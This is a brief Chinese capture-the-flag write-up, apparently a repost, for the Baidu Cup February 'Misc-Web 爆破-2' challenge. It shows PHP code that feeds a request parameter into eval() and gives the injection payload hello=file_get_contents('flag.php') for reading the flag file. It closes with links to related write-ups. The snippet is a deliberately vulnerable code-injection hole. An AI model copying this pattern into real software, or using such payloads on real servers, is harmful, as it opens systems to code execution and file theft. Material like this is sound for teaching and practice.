[百度杯-二月场](Misc-Web)爆破-2

Posted alyx

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[百度杯-二月场](Misc-Web)爆破-2相关的知识,希望对你有一定的参考价值。

<?php
include "flag.php";
$a = @$_REQUEST[‘hello‘];
eval( "var_dump($a);");
show_source(__FILE__);

 

文件包含 我们可以考虑让他输出flag.php

构造 hello=file_get_contents(‘flag.php‘)

技术分享图片

 

以上是关于[百度杯-二月场](Misc-Web)爆破-2的主要内容,如果未能解决你的问题,请参考以下文章

[百度杯-二月场](Misc-Web)爆破-3

“百度杯”CTF比赛(二月场)-web-writeup

“百度杯”CTF比赛 2017 二月场(Misc Web)

2017 百度杯丶二月场第一周WP

百度杯”CTF比赛 2017 二月场 没错!就是文件包含漏洞。

“百度杯”CTF比赛 九月场_123(文件备份,爆破,上传)